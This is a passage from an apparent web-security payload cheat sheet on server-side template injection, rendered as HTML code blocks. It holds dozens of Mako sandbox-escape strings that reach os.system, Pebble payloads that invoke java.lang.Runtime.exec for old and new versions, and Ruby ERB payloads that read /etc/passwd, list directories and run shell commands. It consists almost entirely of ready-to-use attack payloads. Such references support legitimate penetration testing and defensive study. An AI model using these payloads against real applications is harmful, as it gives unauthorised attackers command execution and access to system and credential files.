<a id="__codelineno-66-10" name="__codelineno-66-10" href="#__codelineno-66-10"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;os&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)}</span>
<a id="__codelineno-66-11" name="__codelineno-66-11" href="#__codelineno-66-11"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-12" name="__codelineno-66-12" href="#__codelineno-66-12"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-13" name="__codelineno-66-13" href="#__codelineno-66-13"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">_mmarker</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-14" name="__codelineno-66-14" href="#__codelineno-66-14"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-15" name="__codelineno-66-15" href="#__codelineno-66-15"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-16" name="__codelineno-66-16" href="#__codelineno-66-16"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">_mmarker</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-17" name="__codelineno-66-17" href="#__codelineno-66-17"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">attr</span><span class="o">.</span><span class="n">_NSAttr__parent</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-18" name="__codelineno-66-18" href="#__codelineno-66-18"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">filters</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-19" name="__codelineno-66-19" href="#__codelineno-66-19"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-20" name="__codelineno-66-20" href="#__codelineno-66-20"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">filters</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-21" name="__codelineno-66-21" href="#__codelineno-66-21"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-22" name="__codelineno-66-22" href="#__codelineno-66-22"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-23" name="__codelineno-66-23" href="#__codelineno-66-23"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">attr</span><span class="o">.</span><span class="n">_NSAttr__parent</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-24" name="__codelineno-66-24" href="#__codelineno-66-24"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">_with_template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-25" name="__codelineno-66-25" href="#__codelineno-66-25"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-26" name="__codelineno-66-26" href="#__codelineno-66-26"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-27" name="__codelineno-66-27" href="#__codelineno-66-27"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">_with_template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-28" name="__codelineno-66-28" href="#__codelineno-66-28"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-29" name="__codelineno-66-29" href="#__codelineno-66-29"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-30" name="__codelineno-66-30" href="#__codelineno-66-30"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-31" name="__codelineno-66-31" href="#__codelineno-66-31"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">traceback</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-32" name="__codelineno-66-32" href="#__codelineno-66-32"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-33" name="__codelineno-66-33" href="#__codelineno-66-33"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">_mmarker</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-34" name="__codelineno-66-34" href="#__codelineno-66-34"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-35" name="__codelineno-66-35" href="#__codelineno-66-35"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">attr</span><span class="o">.</span><span class="n">_NSAttr__parent</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-36" name="__codelineno-66-36" href="#__codelineno-66-36"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">_mmarker</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">filters</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-37" name="__codelineno-66-37" href="#__codelineno-66-37"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">_mmarker</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-38" name="__codelineno-66-38" href="#__codelineno-66-38"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">attr</span><span class="o">.</span><span class="n">_NSAttr__parent</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-39" name="__codelineno-66-39" href="#__codelineno-66-39"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">_mmarker</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-40" name="__codelineno-66-40" href="#__codelineno-66-40"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">filters</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-41" name="__codelineno-66-41" href="#__codelineno-66-41"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-42" name="__codelineno-66-42" href="#__codelineno-66-42"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">attr</span><span class="o">.</span><span class="n">_NSAttr__parent</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-43" name="__codelineno-66-43" href="#__codelineno-66-43"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">_with_template</span><span class="o">.</span><span class="n">_mmarker</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-44" name="__codelineno-66-44" href="#__codelineno-66-44"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-45" name="__codelineno-66-45" href="#__codelineno-66-45"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">attr</span><span class="o">.</span><span class="n">_NSAttr__parent</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">filters</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-46" name="__codelineno-66-46" href="#__codelineno-66-46"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">attr</span><span class="o">.</span><span class="n">_NSAttr__parent</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-47" name="__codelineno-66-47" href="#__codelineno-66-47"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">_with_template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-48" name="__codelineno-66-48" href="#__codelineno-66-48"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-49" name="__codelineno-66-49" href="#__codelineno-66-49"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">attr</span><span class="o">.</span><span class="n">_NSAttr__parent</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-50" name="__codelineno-66-50" href="#__codelineno-66-50"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">_with_template</span><span class="o">.</span><span class="n">_mmarker</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-51" name="__codelineno-66-51" href="#__codelineno-66-51"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">_with_template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">filters</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-52" name="__codelineno-66-52" href="#__codelineno-66-52"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">_with_template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">compat</span><span class="o">.</span><span class="n">inspect</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-53" name="__codelineno-66-53" href="#__codelineno-66-53"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">_with_template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-66-54" name="__codelineno-66-54" href="#__codelineno-66-54"></a><span class="err">$</span><span class="p">{</span><span class="bp">self</span><span class="o">.</span><span class="n">template</span><span class="o">.</span><span class="n">module</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">traceback</span><span class="o">.</span><span class="n">linecache</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
</code></pre></div>
<p>PoC :</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-67-1" name="__codelineno-67-1" href="#__codelineno-67-1"></a><span class="o">&gt;&gt;&gt;</span> <span class="nb">print</span><span class="p">(</span><span class="n">Template</span><span class="p">(</span><span class="s2">&quot;$</span><span class="si">{self.module.cache.util.os}</span><span class="s2">&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">render</span><span class="p">())</span>
<a id="__codelineno-67-2" name="__codelineno-67-2" href="#__codelineno-67-2"></a><span class="o">&lt;</span><span class="n">module</span> <span class="s1">&#39;os&#39;</span> <span class="kn">from</span> <span class="s1">&#39;/usr/local/lib/python3.10/os.py&#39;</span><span class="o">&gt;</span>
</code></pre></div>
<p>Source <a href="https://twitter.com/podalirius_">@podalirius_</a> : <a href="https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/">https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/</a></p>
<hr />
<h2 id="pebble">Pebble</h2>
<p><a href="https://pebbletemplates.io/">Official website</a></p>
<blockquote>
<p>Pebble is a Java templating engine inspired by <a href="./#twig">Twig</a> and similar to the Python <a href="./#jinja2">Jinja</a> Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.</p>
</blockquote>
<h3 id="pebble-basic-injection">Pebble - Basic injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-68-1" name="__codelineno-68-1" href="#__codelineno-68-1"></a><span class="p">{{</span><span class="w"> </span><span class="n">someString</span><span class="p">.</span><span class="na">toUPPERCASE</span><span class="p">()</span><span class="w"> </span><span class="p">}}</span>
</code></pre></div>
<h3 id="pebble-code-execution">Pebble - Code execution</h3>
<p>Old version of Pebble ( &lt; version 3.0.9): <code>{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}</code>.</p>
<p>New version of Pebble :</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-69-1" name="__codelineno-69-1" href="#__codelineno-69-1"></a><span class="p">{</span><span class="o">%</span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">cmd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">&#39;</span><span class="n">id</span><span class="err">&#39;</span><span class="w"> </span><span class="o">%</span><span class="p">}</span>
<a id="__codelineno-69-2" name="__codelineno-69-2" href="#__codelineno-69-2"></a><span class="p">{</span><span class="o">%</span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="na">TYPE</span>
<a id="__codelineno-69-3" name="__codelineno-69-3" href="#__codelineno-69-3"></a><span class="w"> </span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">&#39;</span><span class="p">)</span>
<a id="__codelineno-69-4" name="__codelineno-69-4" href="#__codelineno-69-4"></a><span class="w"> </span><span class="p">.</span><span class="na">methods</span><span class="o">[</span><span class="mi">6</span><span class="o">]</span>
<a id="__codelineno-69-5" name="__codelineno-69-5" href="#__codelineno-69-5"></a><span class="w"> </span><span class="p">.</span><span class="na">invoke</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="kc">null</span><span class="p">)</span>
<a id="__codelineno-69-6" name="__codelineno-69-6" href="#__codelineno-69-6"></a><span class="w"> </span><span class="p">.</span><span class="na">exec</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<a id="__codelineno-69-7" name="__codelineno-69-7" href="#__codelineno-69-7"></a><span class="w"> </span><span class="p">.</span><span class="na">inputStream</span>
<a id="__codelineno-69-8" name="__codelineno-69-8" href="#__codelineno-69-8"></a><span class="w"> </span><span class="p">.</span><span class="na">readAllBytes</span><span class="p">()</span><span class="w"> </span><span class="o">%</span><span class="p">}</span>
<a id="__codelineno-69-9" name="__codelineno-69-9" href="#__codelineno-69-9"></a><span class="p">{{</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="na">TYPE</span>
<a id="__codelineno-69-10" name="__codelineno-69-10" href="#__codelineno-69-10"></a><span class="w"> </span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">String</span><span class="err">&#39;</span><span class="p">)</span>
<a id="__codelineno-69-11" name="__codelineno-69-11" href="#__codelineno-69-11"></a><span class="w"> </span><span class="p">.</span><span class="na">constructors</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span>
<a id="__codelineno-69-12" name="__codelineno-69-12" href="#__codelineno-69-12"></a><span class="w"> </span><span class="p">.</span><span class="na">newInstance</span><span class="p">((</span><span class="o">[</span><span class="n">bytes</span><span class="o">]</span><span class="p">).</span><span class="na">toArray</span><span class="p">())</span><span class="w"> </span><span class="p">}}</span>
</code></pre></div>
<hr />
<h2 id="ruby">Ruby</h2>
<h3 id="ruby-basic-injections">Ruby - Basic injections</h3>
<p>ERB:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-70-1" name="__codelineno-70-1" href="#__codelineno-70-1"></a><span class="o">&lt;%=</span><span class="w"> </span><span class="mi">7</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">7</span><span class="w"> </span><span class="o">%&gt;</span>
</code></pre></div>
<p>Slim:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-71-1" name="__codelineno-71-1" href="#__codelineno-71-1"></a><span class="c1">#{ 7 * 7 }</span>
</code></pre></div>
<h3 id="ruby-retrieve-etcpasswd">Ruby - Retrieve /etc/passwd</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-72-1" name="__codelineno-72-1" href="#__codelineno-72-1"></a><span class="o">&lt;%=</span><span class="w"> </span><span class="no">File</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">&#39;/etc/passwd&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="w"> </span><span class="o">%&gt;</span>
</code></pre></div>
<h3 id="ruby-list-files-and-directories">Ruby - List files and directories</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-73-1" name="__codelineno-73-1" href="#__codelineno-73-1"></a><span class="o">&lt;%=</span><span class="w"> </span><span class="no">Dir</span><span class="o">.</span><span class="n">entries</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">)</span><span class="w"> </span><span class="o">%&gt;</span>
</code></pre></div>
<h3 id="ruby-code-execution">Ruby - Code execution</h3>
<p>Execute code using SSTI for ERB engine.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-74-1" name="__codelineno-74-1" href="#__codelineno-74-1"></a><span class="o">&lt;</span><span class="sx">%= system(&#39;cat /etc/passwd&#39;) %&gt;</span>
<a id="__codelineno-74-2" name="__codelineno-74-2" href="#__codelineno-74-2"></a><span class="sx">&lt;%=</span><span class="w"> </span><span class="sb">`ls /`</span><span class="w"> </span><span class="sx">%&gt;</span>
